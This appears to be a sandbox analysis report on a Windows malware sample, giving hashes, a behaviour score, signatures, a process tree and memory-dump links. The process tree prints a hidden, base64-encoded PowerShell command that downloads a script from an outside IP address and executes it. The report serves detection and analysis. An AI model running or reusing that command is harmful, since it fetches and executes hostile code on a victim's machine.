a3fa04d27872b1fea175ee7ca2665ee3b8384db4b6a93f8015cc47e6dddf757d

Analysis

max time kernel
121s
max time network
124s
platform
windows10_x64
resource
win10-en-20211208
submitted
01/01/2022, 17:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7e7fdba873e8ebc6200a15c48736b4fe.exe
Size 292KB
Sample220101-we6d6sgcgr
SHA256 a3fa04d27872b1fea175ee7ca2665ee3b8384db4b6a93f8015cc47e6dddf757d
MD5 7e7fdba873e8ebc6200a15c48736b4fe
SHA1 05c5b77be77902569dcb54d3c63af683fe23804d
SHA512 6d79fcffc7a381249cd300042dde8275d1c329b713e737c45487915d364ca8dde58319a18dcbfbdc23968bc0d8eb1589ed52eb76483041ba9597e39329e0082a
MD5 SHA1 SHA512

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	1628	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1628	powershell.exe
1628	powershell.exe
1628	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1628	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 348 wrote to memory of 1272	348	7e7fdba873e8ebc6200a15c48736b4fe.exe	69
PID 348 wrote to memory of 1272	348	7e7fdba873e8ebc6200a15c48736b4fe.exe	69
PID 1272 wrote to memory of 1628	1272	cmd.exe	71
PID 1272 wrote to memory of 1628	1272	cmd.exe	71
PID 1628 wrote to memory of 1368	1628	powershell.exe	72
PID 1628 wrote to memory of 1368	1628	powershell.exe	72

C:\Users\Admin\AppData\Local\Temp\7e7fdba873e8ebc6200a15c48736b4fe.exe
"C:\Users\Admin\AppData\Local\Temp\7e7fdba873e8ebc6200a15c48736b4fe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:348
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CV572ANB.bat" "C:\Users\Admin\AppData\Local\Temp\7e7fdba873e8ebc6200a15c48736b4fe.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1272
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w h -enc IAAkAGEAPQBpAHcAcgAgACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANQAzAC4ANQA3AC4AMgAxADUALwB5AHIAZAAuAHAAcwAxACcAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAEEAcgBzAGkAbgBnACAAfABpAGUAeAA=
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1628
  - - C:\Windows\system32\wscript.exe
      "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\start.vbs
      4⤵
      PID:1368

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1628-131-0x000001C78B590000-0x000001C78B592000-memory.dmp

Download

memory/1628-130-0x000001C78B590000-0x000001C78B592000-memory.dmp

Download

memory/1628-121-0x000001C78B590000-0x000001C78B592000-memory.dmp

Download

memory/1628-122-0x000001C78B590000-0x000001C78B592000-memory.dmp

Download

memory/1628-123-0x000001C78BD00000-0x000001C78BD22000-memory.dmp

Download

memory/1628-124-0x000001C78B590000-0x000001C78B592000-memory.dmp

Download

memory/1628-128-0x000001C78B590000-0x000001C78B592000-memory.dmp

Download

memory/1628-129-0x000001C78B590000-0x000001C78B592000-memory.dmp

Download

memory/1628-119-0x000001C78B590000-0x000001C78B592000-memory.dmp

Download

memory/1628-120-0x000001C78B590000-0x000001C78B592000-memory.dmp

Download

memory/1628-132-0x000001C7A5ED0000-0x000001C7A5F46000-memory.dmp

Download

memory/1628-133-0x000001C78B590000-0x000001C78B592000-memory.dmp

Download

memory/1628-140-0x000001C78B683000-0x000001C78B685000-memory.dmp

Download

memory/1628-139-0x000001C78B680000-0x000001C78B682000-memory.dmp

Download

memory/1628-141-0x000001C78B590000-0x000001C78B592000-memory.dmp

Download

memory/1628-142-0x000001C78B590000-0x000001C78B592000-memory.dmp

Download

memory/1628-144-0x000001C78B686000-0x000001C78B688000-memory.dmp

Download

memory/1628-118-0x000001C78B590000-0x000001C78B592000-memory.dmp

Download

memory/1628-158-0x000001C78B590000-0x000001C78B592000-memory.dmp

Download